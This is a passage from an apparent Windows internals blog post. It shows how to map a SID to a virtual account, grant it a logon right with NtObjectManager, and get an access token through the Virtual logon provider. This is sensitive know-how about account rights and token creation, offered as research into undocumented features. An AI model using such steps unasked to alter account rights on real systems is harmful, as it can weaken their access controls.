SetSidMapping.exe S-1-5-100-1="AWESOME DOMAIN\USER"

So we now have the AWESOME DOMAIN\USER account with the SID S-1-5-100-1. Now before we can login the account you need to grant it a logon right. This is normally SeServiceLogonRight if you wanted a service account, but you can specify any logon right you like, even SeInteractiveLogonRight (sadly I don't believe you can actually login with your virtual account, at least easily).

If you get the latest version of NtObjectManager (from github at the time of writing) you can use the Add-NtAccountRight command to add the logon type.

PS> Add-NtAccountRight -Sid 'S-1-5-100-1' -LogonType SeInteractiveLogonRight

Once granted a logon right you can use the Get-NtToken command to logon the account and return a token.

PS> $token = Get-NtToken -Logon -LogonType Interactive -User USER -Domain 'AWESOME DOMAIN' -LogonProvider Virtual
PS> Format-NtToken $token
AWESOME DOMAIN\USER

As you can see we've authenticated the virtual account and got back a token. As we chose to logon as an interactive type the token will also have the INTERACTIVE group assigned. Anyway that's all for now. I guess as there's only a limited number of RIDs available (which is an artificial restriction) MS don't want document these features even though it could be a useful thing for normal developers.



❌
❌